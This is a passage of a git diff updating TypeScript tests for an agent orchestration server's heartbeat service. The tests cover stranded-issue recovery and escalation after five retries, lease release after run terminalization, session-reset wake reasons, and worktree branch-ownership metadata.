+    const firstManagerRun = await waitForValue(async () => db
+      .select()
+      .from(heartbeatRuns)
+      .where(and(
+        eq(heartbeatRuns.companyId, companyId),
+        eq(heartbeatRuns.agentId, managerId),
+        sql`${heartbeatRuns.contextSnapshot} ->> 'recoveryActionId' = ${action!.id}`,
+      ))
+      .then((rows) => rows[0] ?? null));
+    await db
+      .update(heartbeatRuns)
+      .set({ status: "failed", errorCode: "process_lost", finishedAt: new Date() })
+      .where(eq(heartbeatRuns.id, firstManagerRun.id));
+    await db
+      .update(agentWakeupRequests)
+      .set({ status: "completed" })
+      .where(eq(agentWakeupRequests.runId, firstManagerRun.id));
+
+    const restartedHeartbeat = heartbeatService(db);
+    for (let attempt = 2; attempt <= 5; attempt += 1) {
+      await restartedHeartbeat.reconcileStrandedAssignedIssues();
+      const managerRun = await db
+        .select()
+        .from(heartbeatRuns)
+        .where(and(
+          eq(heartbeatRuns.companyId, companyId),
+          eq(heartbeatRuns.agentId, managerId),
+          sql`${heartbeatRuns.contextSnapshot} ->> 'recoveryActionId' = ${action!.id}`,
+          sql`${heartbeatRuns.contextSnapshot} ->> 'recoveryOwnerAttempt' = ${String(attempt)}`,
+        ))
+        .then((rows) => rows[0] ?? null);
+      expect(managerRun).toMatchObject({
+        status: "scheduled_retry",
+        scheduledRetryAttempt: attempt,
+        scheduledRetryReason: "recovery_owner_retry",
+      });
+
+      await restartedHeartbeat.reconcileStrandedAssignedIssues();
+      const duplicateRuns = await db
+        .select({ id: heartbeatRuns.id })
+        .from(heartbeatRuns)
+        .where(and(
+          eq(heartbeatRuns.companyId, companyId),
+          eq(heartbeatRuns.agentId, managerId),
+          sql`${heartbeatRuns.contextSnapshot} ->> 'recoveryActionId' = ${action!.id}`,
+          sql`${heartbeatRuns.contextSnapshot} ->> 'recoveryOwnerAttempt' = ${String(attempt)}`,
+        ));
+      expect(duplicateRuns).toHaveLength(1);
+
+      await db
+        .update(heartbeatRuns)
+        .set({ status: "failed", errorCode: "process_lost", finishedAt: new Date() })
+        .where(eq(heartbeatRuns.id, managerRun!.id));
+      await db
+        .update(agentWakeupRequests)
+        .set({ status: "completed" })
+        .where(eq(agentWakeupRequests.runId, managerRun!.id));
+    }
+    await restartedHeartbeat.reconcileStrandedAssignedIssues();
+
+    const exhaustedAction = await db
+      .select()
+      .from(issueRecoveryActions)
+      .where(eq(issueRecoveryActions.id, action!.id))
+      .then((rows) => rows[0] ?? null);
+    expect(exhaustedAction).toMatchObject({
+      status: "escalated",
+      ownerType: "board",
+      ownerAgentId: null,
+      attemptCount: 5,
+      maxAttempts: 5,
+      resolutionNote: "recovery_owner_retry_exhausted",
+    });
+    expect(exhaustedAction?.wakePolicy).toMatchObject({
+      type: "board_escalation",
+      reason: "recovery_owner_retry_exhausted",
+      attempt: 5,
+      maxAttempts: 5,
+      preservesSourceAssignee: true,
+    });
+    const managerAttemptSix = await db
+      .select({ id: heartbeatRuns.id })
+      .from(heartbeatRuns)
+      .where(and(
+        eq(heartbeatRuns.companyId, companyId),
+        eq(heartbeatRuns.agentId, managerId),
+        sql`${heartbeatRuns.contextSnapshot} ->> 'recoveryActionId' = ${action!.id}`,
+        sql`${heartbeatRuns.contextSnapshot} ->> 'recoveryOwnerAttempt' = '6'`,
+      ));
+    expect(managerAttemptSix).toHaveLength(0);
+    const sourceAfterManagerExhaustion = await db
+      .select()
+      .from(issues)
+      .where(eq(issues.id, issueId))
+      .then((rows) => rows[0] ?? null);
+    expect(sourceAfterManagerExhaustion).toMatchObject({
+      status: "blocked",
+      assigneeAgentId: agentId,
+    });
+  });
+
+  it("routes a non-invokable source owner to recovery without reassigning the source", async () => {
+    const { companyId, agentId, issueId } = await seedStrandedIssueFixture({
+      status: "in_progress",
+      runStatus: "cancelled",
+      retryReason: "issue_continuation_needed",
+      runErrorCode: "issue_continuation_waiting_on_review",
+    });
+    await db.update(agents).set({ status: "paused" }).where(eq(agents.id, agentId));
+
+    const result = await heartbeatService(db).reconcileStrandedAssignedIssues();
+    expect(result.escalated).toBe(1);
+
+    const sourceIssue = await db
+      .select()
+      .from(issues)
+      .where(eq(issues.id, issueId))
+      .then((rows) => rows[0] ?? null);
+    expect(sourceIssue).toMatchObject({
+      status: "blocked",
+      assigneeAgentId: agentId,
+    });
+
+    const action = await db
+      .select()
+      .from(issueRecoveryActions)
+      .where(and(
+        eq(issueRecoveryActions.companyId, companyId),
+        eq(issueRecoveryActions.sourceIssueId, issueId),
+      ))
+      .then((rows) => rows[0] ?? null);
+    expect(action).toMatchObject({
+      kind: "deliberate_wait_without_target",
+      status: "escalated",
+      ownerType: "board",
+      ownerAgentId: null,
+      previousOwnerAgentId: agentId,
+      returnOwnerAgentId: agentId,
+      attemptCount: 0,
+      maxAttempts: 5,
+      resolutionNote: "owner_not_invokable",
+    });
+  });
+
+  it("does not consume a disposition-repair attempt when on-demand wakes are disabled", async () => {
+    const { companyId, agentId, issueId } = await seedStrandedIssueFixture({
+      status: "in_progress",
+      runStatus: "cancelled",
+      retryReason: "issue_continuation_needed",
+      runErrorCode: "issue_continuation_waiting_on_review",
+    });
+    await db
+      .update(agents)
+      .set({ runtimeConfig: { heartbeat: { wakeOnDemand: false } } })
+      .where(eq(agents.id, agentId));
+
+    const result = await heartbeatService(db).reconcileStrandedAssignedIssues();
+    expect(result.dispositionRepairRequeued).toBe(0);
+    expect(result.escalated).toBe(1);
+
+    const [action, repairWakeups] = await Promise.all([
+      db
+        .select()
+        .from(issueRecoveryActions)
+        .where(and(
+          eq(issueRecoveryActions.companyId, companyId),
+          eq(issueRecoveryActions.sourceIssueId, issueId),
+        ))
+        .then((rows) => rows[0] ?? null),
+      db
+        .select()
+        .from(agentWakeupRequests)
+        .where(and(
+          eq(agentWakeupRequests.companyId, companyId),
+          eq(agentWakeupRequests.agentId, agentId),
+          sql`${agentWakeupRequests.idempotencyKey} LIKE 'issue_disposition_repair:%'`,
+        )),
+    ]);
+    expect(action).toMatchObject({
+      kind: "deliberate_wait_without_target",
+      status: "escalated",
+      ownerType: "board",
+      ownerAgentId: null,
+      attemptCount: 0,
+      resolutionNote: "owner_not_invokable",
+    });
+    expect(repairWakeups).toHaveLength(0);
   });
 
   it("clears the detached warning when the run reports activity again", async () => {
@@ -5152,7 +5787,7 @@ describeEmbeddedPostgres("heartbeat orphaned process recovery", () => {
     });
     expect(sourceIssue).toMatchObject({
       status: "blocked",
-      assigneeAgentId: agentId,
+      assigneeAgentId: sourceAssigneeAgentId,
     });
 
     const recoveryAction = await expectSourceScopedStrandedRecoveryAction({
@@ -5345,7 +5980,7 @@ describeEmbeddedPostgres("heartbeat orphaned process recovery", () => {
     });
   });
 
-  it("escalates accepted interaction continuation recovery after three review-park cancellations", async () => {
+  it("counts five historical review-park cancellations against the upgraded disposition-repair ceiling", async () => {
     const companyId = randomUUID();
     const agentId = randomUUID();
     const issueId = randomUUID();
@@ -5396,7 +6031,7 @@ describeEmbeddedPostgres("heartbeat orphaned process recovery", () => {
       payload: { version: 1, prompt: "Approve the plan?" },
       result: { outcome: "accepted" },
     });
-    for (let attempt = 1; attempt <= 3; attempt += 1) {
+    for (let attempt = 1; attempt <= 5; attempt += 1) {
       const finishedAt = new Date(resolvedAt.getTime() + attempt * 60_000);
       await db.insert(heartbeatRuns).values({
         id: randomUUID(),
@@ -5445,8 +6080,29 @@ describeEmbeddedPostgres("heartbeat orphaned process recovery", () => {
       db.select({ body: issueComments.body }).from(issueComments).where(eq(issueComments.issueId, issueId)),
     ]);
     expect(issue?.status).toBe("blocked");
-    expect(continuationRuns).toHaveLength(3);
-    expect(comments.some((comment) => comment.body.includes(interactionId))).toBe(true);
+    expect(continuationRuns).toHaveLength(5);
+    expect(comments.some((comment) => comment.body.includes("Attempts: 5/5"))).toBe(true);
+    const action = await db
+      .select()
+      .from(issueRecoveryActions)
+      .where(and(
+        eq(issueRecoveryActions.companyId, companyId),
+        eq(issueRecoveryActions.sourceIssueId, issueId),
+      ))
+      .then((rows) => rows[0] ?? null);
+    expect(action).toMatchObject({
+      kind: "deliberate_wait_without_target",
+      status: "escalated",
+      previousOwnerAgentId: agentId,
+      returnOwnerAgentId: agentId,
+      attemptCount: 0,
+      maxAttempts: 5,
+      resolutionNote: "unchanged_source_state_exhausted",
+    });
+    expect(action?.evidence).toMatchObject({
+      sourceAttemptCount: 5,
+      sourceMaxAttempts: 5,
+    });
   });
 
   it("skips accepted interaction recovery after its continuation succeeds", async () => {
diff --git a/server/src/__tests__/heartbeat-project-env.test.ts b/server/src/__tests__/heartbeat-project-env.test.ts
index 0be33c0b4f2..902cc207f71 100644
--- a/server/src/__tests__/heartbeat-project-env.test.ts
+++ b/server/src/__tests__/heartbeat-project-env.test.ts
@@ -1019,17 +1019,18 @@ describe("buildReferencedProjectRunObservability", () => {
       failures: [
         { projectId: "project-b", reason: "authorization" },
         { projectId: "project-c", reason: "resolution" },
-        { projectId: "project-d", reason: "staging" },
+        { projectId: "project-d", reason: "staging", error: "extract failed: boom" },
       ],
     });
 
     // Requested is the synced count plus every dropped project, so the counts reconcile.
     expect(observability.referenced_projects_requested).toBe(4);
     expect(observability.referenced_projects_synced).toBe(1);
+    // A staging failure carries its error message; a failure without one omits the field.
     expect(observability.referenced_project_failures).toEqual([
       { project_id: "project-b", reason: "authorization" },
       { project_id: "project-c", reason: "resolution" },
-      { project_id: "project-d", reason: "staging" },
+      { project_id: "project-d", reason: "staging", error: "extract failed: boom" },
     ]);
   });
 
diff --git a/server/src/__tests__/heartbeat-run-summary.test.ts b/server/src/__tests__/heartbeat-run-summary.test.ts
index 74051ab4695..593c6006e02 100644
--- a/server/src/__tests__/heartbeat-run-summary.test.ts
+++ b/server/src/__tests__/heartbeat-run-summary.test.ts
@@ -133,6 +133,18 @@ describe("mergeHeartbeatRunResultJson", () => {
     expect(buildHeartbeatRunIssueComment(merged)).toBe("## Summary\n\n1. first thing\n2. second thing");
   });
 
+  it("posts only the final adapter summary when raw output contains intermediate narration", () => {
+    const merged = mergeHeartbeatRunResultJson(
+      { stdout: "Intermediate setup that must not be published" },
+      "## Final update\n\n- Remediation verified",
+    );
+
+    expect(buildHeartbeatRunIssueComment(merged)).toBe(
+      "## Final update\n\n- Remediation verified",
+    );
+    expect(buildHeartbeatRunIssueComment(merged)).not.toContain("Intermediate setup");
+  });
+
   it("creates a result payload when only a summary exists", () => {
     expect(mergeHeartbeatRunResultJson(null, "done")).toEqual({ summary: "done" });
   });
diff --git a/server/src/__tests__/heartbeat-run-terminalize-before-release.test.ts b/server/src/__tests__/heartbeat-run-terminalize-before-release.test.ts
new file mode 100644
index 00000000000..ae6af37121e
--- /dev/null
+++ b/server/src/__tests__/heartbeat-run-terminalize-before-release.test.ts
@@ -0,0 +1,312 @@
+import { randomUUID } from "node:crypto";
+import { eq } from "drizzle-orm";
+import { afterAll, afterEach, beforeAll, describe, expect, it, vi } from "vitest";
+import {
+  agents,
+  companies,
+  createDb,
+  heartbeatRunEvents,
+  heartbeatRuns,
+  issues,
+} from "@paperclipai/db";
+import {
+  getEmbeddedPostgresTestSupport,
+  startEmbeddedPostgresTestDatabase,
+} from "./helpers/embedded-postgres.js";
+
+const mockTelemetryClient = vi.hoisted(() => ({ track: vi.fn() }));
+vi.mock("../telemetry.ts", () => ({ getTelemetryClient: () => mockTelemetryClient }));
+
+import {
+  heartbeatService,
+  leaseReleaseStatusForRunStatus,
+  type HeartbeatEnvironmentRuntime,
+} from "../services/heartbeat.ts";
+
+const embeddedPostgresSupport = await getEmbeddedPostgresTestSupport();
+const describeEmbeddedPostgres = embeddedPostgresSupport.supported ? describe : describe.skip;
+
+if (!embeddedPostgresSupport.supported) {
+  console.warn(
+    `Skipping embedded Postgres terminalize-before-release tests on this host: ${
+      embeddedPostgresSupport.reason ?? "unsupported environment"
+    }`,
+  );
+}
+
+// This file is a characterization test. It pins the CURRENT run-teardown order
+// in server/src/services/heartbeat.ts:16586-16607: the teardown finally
+// terminalizes the run FIRST, then releases the environment lease using the
+// terminalized status. The production order is:
+//   latestRun = await terminalizeRunOnLeaseRelease(latestRun);   // :16593 first
+//   await releaseEnvironmentLeasesForRun({ status: latestRun?.status, ... }); // :16601 second
+//
+// The enclosing teardown finally is not reasonably invokable in isolation: it
+// lives deep in the heartbeat run body and needs a full sandbox, adapter, and
+// workspace bring-up to reach. So this test drives the two real production
+// functions in the same order against the embedded database:
+// `terminalizeRunOnLeaseRelease` and `releaseEnvironmentLeasesForRun`. It thus
+// executes the real lease-release boundary: the terminalized run status flows
+// through the real run-status → lease-status mapping
+// (`leaseReleaseStatusForRunStatus`) and the real environment orchestrator
+// (`envOrchestrator.releaseForRun`) down to the runtime leaf. The test injects a
+// fake `environmentRuntime` that records the mapped lease status at that leaf, so
+// a wrong terminal state or a broken mapping fails the suite.
+//
+// The two additive test seams keep production behavior unchanged. The service now
+// exposes `releaseEnvironmentLeasesForRun` (next to the existing
+// `terminalizeRunOnLeaseRelease`), and `leaseReleaseStatusForRunStatus` is now
+// exported for the direct mapping assertions below.
+describeEmbeddedPostgres("heartbeat teardown terminalizes the run before releasing the lease", () => {
+  let db!: ReturnType<typeof createDb>;
+  let tempDb: Awaited<ReturnType<typeof startEmbeddedPostgresTestDatabase>> | null = null;
+
+  beforeAll(async () => {
+    tempDb = await startEmbeddedPostgresTestDatabase("paperclip-terminalize-before-release-");
+    db = createDb(tempDb.connectionString);
+  }, 20_000);
+
+  afterEach(async () => {
+    await db.delete(heartbeatRunEvents);
+    await db.delete(issues);
+    await db.delete(heartbeatRuns);
+    await db.delete(agents);
+    await db.delete(companies);
+  });
+
+  afterAll(async () => {
+    await tempDb?.cleanup();
+  });
+
+  async function seed(input: { issueStatus: string; runStatus: string }) {
+    const companyId = randomUUID();
+    const agentId = randomUUID();
+    const issueId = randomUUID();
+    const runId = randomUUID();
+
+    await db.insert(companies).values({
+      id: companyId,
+      name: "Paperclip",
+      issuePrefix: `T${companyId.replace(/-/g, "").slice(0, 6).toUpperCase()}`,
+      requireBoardApprovalForNewAgents: false,
+    });
+    await db.insert(agents).values({
+      id: agentId,
+      companyId,
+      name: "Coder",
+      role: "engineer",
+      status: "active",
+      adapterType: "codex_local",
+      adapterConfig: {},
+      runtimeConfig: {},
+      permissions: {},
+    });
+    await db.insert(issues).values({
+      id: issueId,
+      companyId,
+      title: "Terminalize before release",
+      status: input.issueStatus,
+      priority: "high",
+      assigneeAgentId: agentId,
+    });
+    await db.insert(heartbeatRuns).values({
+      id: runId,
+      companyId,
+      agentId,
+      status: input.runStatus,
+      invocationSource: "manual",
+      startedAt: new Date(),
+      contextSnapshot: { issueId },
+    });
+
+    const run = await db
+      .select()
+      .from(heartbeatRuns)
+      .where(eq(heartbeatRuns.id, runId))
+      .then((rows) => rows[0]!);
+
+    return { companyId, agentId, issueId, runId, run };
+  }
+
+  async function runStatus(runId: string) {
+    return db
+      .select({ status: heartbeatRuns.status })
+      .from(heartbeatRuns)
+      .where(eq(heartbeatRuns.id, runId))
+      .then((rows) => rows[0]?.status ?? null);
+  }
+
+  // Drive the two real production functions in the teardown order at
+  // heartbeat.ts:16586-16607 and report what the real release step observes.
+  // Terminalize runs first. Then `releaseEnvironmentLeasesForRun` runs with the
+  // terminalized run status. That real call maps the run status through
+  // `leaseReleaseStatusForRunStatus` and passes it to the real environment
+  // orchestrator, which reaches the runtime leaf. The injected fake
+  // `environmentRuntime` records the run id and the mapped lease status at that
+  // leaf, so the test observes the actual boundary, not a reproduction.
+  async function runTeardownSequenceObservingRelease(input: {
+    runId: string;
+    companyId: string;
+    agentId: string;
+  }) {
+    const { runId, companyId, agentId } = input;
+    const releaseLeafCalls: Array<{ runId: string; status: string }> = [];
+    const fakeEnvironmentRuntime = {
+      // The orchestrator's `releaseForRun` calls this leaf with the mapped lease
+      // status. There are no seeded leases, so return an empty release set.
+      releaseRunLeases: async (
+        heartbeatRunId: string,
+        status: "released" | "expired" | "failed",
+      ) => {
+        releaseLeafCalls.push({ runId: heartbeatRunId, status });
+        return [];
+      },
+    } as unknown as HeartbeatEnvironmentRuntime;
+    const heartbeat = heartbeatService(db, { environmentRuntime: fakeEnvironmentRuntime });
+
+    let latestRun = await db
+      .select()
+      .from(heartbeatRuns)
+      .where(eq(heartbeatRuns.id, runId))
+      .then((rows) => rows[0] ?? null);
+    const statusBeforeTerminalize = latestRun?.status ?? null;
+    if (latestRun) latestRun = await heartbeat.terminalizeRunOnLeaseRelease(latestRun);
+    // The status production passes into releaseEnvironmentLeasesForRun (:16605).
+    const statusThreadedToRelease = latestRun?.status ?? null;
+    // The run row as the later release step observes it in the database.
+    const dbStatusAtRelease = await runStatus(runId);
+
+    // Execute the real release step exactly as the teardown does at :16601.
+    await heartbeat.releaseEnvironmentLeasesForRun({
+      runId,
+      companyId,
+      agentId,
+      status: statusThreadedToRelease,
+    });
+    const orchestratorObservedRunId = releaseLeafCalls.at(-1)?.runId ?? null;
+    const orchestratorObservedLeaseStatus = releaseLeafCalls.at(-1)?.status ?? null;
+
+    return {
+      statusBeforeTerminalize,
+      statusThreadedToRelease,
+      dbStatusAtRelease,
+      releaseCallCount: releaseLeafCalls.length,
+      orchestratorObservedRunId,
+      orchestratorObservedLeaseStatus,
+      terminalRun: latestRun,
+    };
+  }
+
+  it("terminalizes a running run to succeeded before release when the issue reached done", async () => {
+    const { companyId, agentId, issueId, runId } = await seed({ issueStatus: "done", runStatus: "running" });
+
+    const observed = await runTeardownSequenceObservingRelease({ runId, companyId, agentId });
+
+    // The run was still running before terminalize, but release observes the
+    // terminalized status, proving terminalize ran first.
+    expect(observed.statusBeforeTerminalize).toBe("running");
+    expect(observed.statusThreadedToRelease).toBe("succeeded");
+    expect(observed.dbStatusAtRelease).toBe("succeeded");
+
+    // The real orchestrator ran once and received the run id plus the mapped
+    // lease status for a succeeded run.
+    expect(observed.releaseCallCount).toBe(1);
+    expect(observed.orchestratorObservedRunId).toBe(runId);
+    expect(observed.orchestratorObservedLeaseStatus).toBe("released");
+
+    // The issue outcome is preserved and the lifecycle event records the reason.
+    const issueStatus = await db
+      .select({ status: issues.status })
+      .from(issues)
+      .where(eq(issues.id, issueId))
+      .then((rows) => rows[0]?.status);
+    expect(issueStatus).toBe("done");
+
+    const event = await db
+      .select({ message: heartbeatRunEvents.message, payload: heartbeatRunEvents.payload })
+      .from(heartbeatRunEvents)
+      .where(eq(heartbeatRunEvents.runId, runId))
+      .then((rows) => rows[0]);
+    expect(event?.message).toContain("lease release");
+    expect((event?.payload as { terminalStatus?: string } | null)?.terminalStatus).toBe("succeeded");
+  });
+
+  it("terminalizes a running run to interrupted before release when the issue is not terminal", async () => {
+    const { companyId, agentId, runId } = await seed({ issueStatus: "in_progress", runStatus: "running" });
+
+    const observed = await runTeardownSequenceObservingRelease({ runId, companyId, agentId });
+
+    expect(observed.statusBeforeTerminalize).toBe("running");
+    expect(observed.statusThreadedToRelease).toBe("interrupted");
+    expect(observed.dbStatusAtRelease).toBe("interrupted");
+
+    // An interrupted run maps to a normal lease release.
+    expect(observed.releaseCallCount).toBe(1);
+    expect(observed.orchestratorObservedLeaseStatus).toBe("released");
+
+    const row = await db
+      .select({ status: heartbeatRuns.status, errorCode: heartbeatRuns.errorCode })
+      .from(heartbeatRuns)
+      .where(eq(heartbeatRuns.id, runId))
+      .then((rows) => rows[0]);
+    expect(row?.status).toBe("interrupted");
+    expect(row?.errorCode).toBe("lease_released_before_terminal");
+  });
+
+  it("terminalizes a still-queued run to interrupted before release", async () => {
+    // A queued run holds a lease but never reached running. Release must observe a
+    // terminal status, not the queued phantom-live status.
+    const { companyId, agentId, runId } = await seed({ issueStatus: "in_progress", runStatus: "queued" });
+
+    const observed = await runTeardownSequenceObservingRelease({ runId, companyId, agentId });
+
+    expect(observed.statusBeforeTerminalize).toBe("queued");
+    expect(observed.statusThreadedToRelease).toBe("interrupted");
+    expect(observed.dbStatusAtRelease).toBe("interrupted");
+    expect(observed.orchestratorObservedLeaseStatus).toBe("released");
+  });
+
+  it("threads an already-terminal run's status through unchanged and writes no new event", async () => {
+    // When another path already made the run terminal, terminalize is a no-op, so
+    // release still observes that authoritative terminal status.
+    const { companyId, agentId, runId } = await seed({ issueStatus: "done", runStatus: "failed" });
+
+    const observed = await runTeardownSequenceObservingRelease({ runId, companyId, agentId });
+
+    expect(observed.statusBeforeTerminalize).toBe("failed");
+    expect(observed.statusThreadedToRelease).toBe("failed");
+    expect(observed.dbStatusAtRelease).toBe("failed");
+
+    // A failed run maps to a failed lease release at the orchestrator.
+    expect(observed.orchestratorObservedLeaseStatus).toBe("failed");
+
+    const eventCount = await db
+      .select({ id: heartbeatRunEvents.id })
+      .from(heartbeatRunEvents)
+      .where(eq(heartbeatRunEvents.runId, runId))
+      .then((rows) => rows.length);
+    expect(eventCount).toBe(0);
+  });
+});
+
+// Pin the real run-status → lease-release-status mapping the teardown threads
+// into the environment orchestrator (heartbeat.ts:16601-16606). The database
+// tests above reach the "released" and "failed" branches; this direct test also
+// pins the "expired" and "timed_out" branches. It needs no database, so it runs
+// on every host.
+describe("run-status to lease-release-status mapping", () => {
+  it("maps each terminal run status to the lease-release status the orchestrator receives", () => {
+    // A normal or in-progress run releases the lease.
+    expect(leaseReleaseStatusForRunStatus("succeeded")).toBe("released");
+    expect(leaseReleaseStatusForRunStatus("interrupted")).toBe("released");
+    expect(leaseReleaseStatusForRunStatus("running")).toBe("released");
+    expect(leaseReleaseStatusForRunStatus("queued")).toBe("released");
+    expect(leaseReleaseStatusForRunStatus(null)).toBe("released");
+    expect(leaseReleaseStatusForRunStatus(undefined)).toBe("released");
+    // A failed or timed-out run marks the lease release as failed.
+    expect(leaseReleaseStatusForRunStatus("failed")).toBe("failed");
+    expect(leaseReleaseStatusForRunStatus("timed_out")).toBe("failed");
+    // A cancelled run expires the lease.
+    expect(leaseReleaseStatusForRunStatus("cancelled")).toBe("expired");
+  });
+});
diff --git a/server/src/__tests__/heartbeat-runtime-state.test.ts b/server/src/__tests__/heartbeat-runtime-state.test.ts
index 24ae9173f1b..50990f6b388 100644
--- a/server/src/__tests__/heartbeat-runtime-state.test.ts
+++ b/server/src/__tests__/heartbeat-runtime-state.test.ts
@@ -147,7 +147,7 @@ describeEmbeddedPostgres("heartbeat runtime state deduplication", () => {
       const heartbeat = heartbeatService(db);
       const status = await heartbeat.recordRuntimeProgress(run, {
         phase: "config_sync",
-        message: "Syncing workspace to sandbox",
+        message: "Syncing workspace to environment",
         currentToolName: "bash",
         lastAssistantSnippet: "Inspecting the repository",
         lastEventAt: "2026-06-24T00:00:05.000Z",
@@ -159,7 +159,7 @@ describeEmbeddedPostgres("heartbeat runtime state deduplication", () => {
         agentId,
         runId,
         phase: "config_sync",
-        message: "Syncing workspace to sandbox",
+        message: "Syncing workspace to environment",
         currentToolName: "bash",
         lastAssistantSnippet: "Inspecting the repository",
         lastEventAt: new Date("2026-06-24T00:00:05.000Z"),
@@ -171,7 +171,7 @@ describeEmbeddedPostgres("heartbeat runtime state deduplication", () => {
         issueId,
         status: "running",
       })).toMatchObject({
-        currentStatusMessage: "Syncing workspace to sandbox",
+        currentStatusMessage: "Syncing workspace to environment",
         currentToolName: "bash",
         lastAssistantSnippet: "Inspecting the repository",
         lastEventAt: new Date("2026-06-24T00:00:05.000Z"),
@@ -184,7 +184,7 @@ describeEmbeddedPostgres("heartbeat runtime state deduplication", () => {
           agentId,
           issueId,
           phase: "config_sync",
-          message: "Syncing workspace to sandbox",
+          message: "Syncing workspace to environment",
           currentToolName: "bash",
           lastAssistantSnippet: "Inspecting the repository",
           lastEventAt: "2026-06-24T00:00:05.000Z",
@@ -245,7 +245,7 @@ describeEmbeddedPostgres("heartbeat runtime state deduplication", () => {
       const heartbeat = heartbeatService(db);
       await heartbeat.recordRuntimeProgress(staleRunningRun, {
         phase: "config_sync",
-        message: "Syncing workspace to sandbox",
+        message: "Syncing workspace to environment",
       }, issueId);
 
       expect(getHeartbeatRunRuntimeStatus(runId)).toMatchObject({
@@ -265,7 +265,7 @@ describeEmbeddedPostgres("heartbeat runtime state deduplication", () => {
 
       const lateStatus = await heartbeat.recordRuntimeProgress(staleRunningRun, {
         phase: "finalize",
-        message: "Finalizing sandbox workspace",
+        message: "Finalizing workspace",
       }, issueId);
 
       expect(lateStatus).toBeNull();
diff --git a/server/src/__tests__/heartbeat-timer-wake-session-reset-pf4.test.ts b/server/src/__tests__/heartbeat-timer-wake-session-reset-pf4.test.ts
index b8fd03bd63d..ca419d9e0c7 100644
--- a/server/src/__tests__/heartbeat-timer-wake-session-reset-pf4.test.ts
+++ b/server/src/__tests__/heartbeat-timer-wake-session-reset-pf4.test.ts
@@ -30,17 +30,25 @@ describe("PF-4 shouldResetTaskSessionForWake", () => {
     ).toBe(false);
   });
 
-  it("still resets for the existing reset reasons", () => {
+  it("keeps assignment, approval, and review-participant recovery as fresh boundaries", () => {
     for (const wakeReason of [
       "issue_assigned",
-      "execution_review_requested",
       "execution_approval_requested",
-      "execution_changes_requested",
+      "execution_review_participant_recovery",
     ] as const) {
       expect(shouldResetTaskSessionForWake({ wakeReason })).toBe(true);
     }
   });
 
+  it("does not reset execution handoffs by wake reason alone", () => {
+    for (const wakeReason of [
+      "execution_review_requested",
+      "execution_changes_requested",
+    ] as const) {
+      expect(shouldResetTaskSessionForWake({ wakeReason })).toBe(false);
+    }
+  });
+
   it("still respects forceFreshSession === true", () => {
     expect(shouldResetTaskSessionForWake({ forceFreshSession: true })).toBe(true);
   });
@@ -80,19 +88,21 @@ describe("PF-4 describeSessionResetReason", () => {
     ).toBeNull();
   });
 
-  it("returns the existing reasons for the existing reset triggers", () => {
+  it("returns reasons for wake reasons that still force a fresh task session", () => {
     expect(describeSessionResetReason({ wakeReason: "issue_assigned" })).toBe(
       "wake reason is issue_assigned",
     );
-    expect(describeSessionResetReason({ wakeReason: "execution_review_requested" })).toBe(
-      "wake reason is execution_review_requested",
-    );
     expect(describeSessionResetReason({ wakeReason: "execution_approval_requested" })).toBe(
       "wake reason is execution_approval_requested",
     );
-    expect(describeSessionResetReason({ wakeReason: "execution_changes_requested" })).toBe(
-      "wake reason is execution_changes_requested",
-    );
+    expect(
+      describeSessionResetReason({ wakeReason: "execution_review_participant_recovery" }),
+    ).toBe("wake reason is execution_review_participant_recovery");
+  });
+
+  it("does not report review/change-request handoffs as reset reasons", () => {
+    expect(describeSessionResetReason({ wakeReason: "execution_review_requested" })).toBeNull();
+    expect(describeSessionResetReason({ wakeReason: "execution_changes_requested" })).toBeNull();
   });
 
   it("returns the forceFreshSession message when explicitly requested", () => {
@@ -116,6 +126,7 @@ describe("PF-4 describeSessionResetReason", () => {
       { wakeReason: "issue_assigned" },
       { wakeReason: "execution_review_requested" },
       { wakeReason: "execution_approval_requested" },
+      { wakeReason: "execution_review_participant_recovery" },
       { wakeReason: "execution_changes_requested" },
       { forceFreshSession: true },
       { wakeReason: "issue_commented" },
diff --git a/server/src/__tests__/heartbeat-workspace-branch-containment.test.ts b/server/src/__tests__/heartbeat-workspace-branch-containment.test.ts
index 38394581ea4..e8032b9847e 100644
--- a/server/src/__tests__/heartbeat-workspace-branch-containment.test.ts
+++ b/server/src/__tests__/heartbeat-workspace-branch-containment.test.ts
@@ -1,6 +1,6 @@
 import { execFile } from "node:child_process";
 import { createHash, randomUUID } from "node:crypto";
-import { mkdir, mkdtemp, rm, writeFile } from "node:fs/promises";
+import { mkdir, mkdtemp, realpath, rm, writeFile } from "node:fs/promises";
 import os from "node:os";
 import path from "node:path";
 import { promisify } from "node:util";
@@ -131,7 +131,9 @@ async function readGit(cwd: string, args: string[]) {
 }
 
 async function createGitRepo() {
-  const repoRoot = await mkdtemp(path.join(os.tmpdir(), "paperclip-branch-containment-repo-"));
+  // realpath: on macOS os.tmpdir() is a symlink (/tmp -> /private/tmp) and the
+  // runtime persists resolved worktree paths, so unresolved fixtures never match.
+  const repoRoot = await realpath(await mkdtemp(path.join(os.tmpdir(), "paperclip-branch-containment-repo-")));
   await runGit(repoRoot, ["init"]);
   await runGit(repoRoot, ["config", "user.email", "paperclip-test@example.com"]);
   await runGit(repoRoot, ["config", "user.name", "Paperclip Test"]);
@@ -408,6 +410,10 @@ async function seedBranchContainmentRun(
       branchName: expectedBranch,
       providerType: "git_worktree",
       providerRef: worktreePath,
+      metadata: {
+        createdByRuntime: true,
+        gitBranchOwnershipVersion: 1,
+      },
       lastUsedAt: now,
       openedAt: now,
       createdAt: now,
diff --git a/server/src/__tests__/heartbeat-workspace-session.test.ts b/server/src/__tests__/heartbeat-workspace-session.test.ts
index a9693828626..a5e51e2f4b7 100644
--- a/server/src/__tests__/heartbeat-workspace-session.test.ts
+++ b/server/src/__tests__/heartbeat-workspace-session.test.ts
@@ -26,6 +26,7 @@ import {
   parseSessionCompactionPolicy,
   provisionExecutionWorkspaceForFreshnessDecision,
   reconcileReusedExecutionWorkspaceProjectWorkspaceId,
+  resolveExecutionWorkspaceBranchOwnership,
   resolveExecutionWorkspaceConfigFreshness,
   resolveExecutionWorkspaceReuseRequestForIssue,
   resolveExecutionWorkspaceReuseProvisioningPolicy,
@@ -1267,11 +1268,54 @@ describe("applyPersistedExecutionWorkspaceConfig", () => {
 });
 
 describe("mergeExecutionWorkspaceMetadataForPersistence", () => {
+  it("persists branch ownership independently of fresh worktree creation", () => {
+    const executionWorkspace = {
+      created: true,
+      branchCreatedByRuntime: false,
+    };
+
+    const metadata = mergeExecutionWorkspaceMetadataForPersistence({
+      existingMetadata: null,
+      source: "task_session",
+      createdByRuntime: resolveExecutionWorkspaceBranchOwnership(executionWorkspace),
+      strategyType: "git_worktree",
+      configSnapshot: null,
+      shouldReuseExisting: false,
+      baseRef: "origin/main",
+      baseRefSha: null,
+    });
+
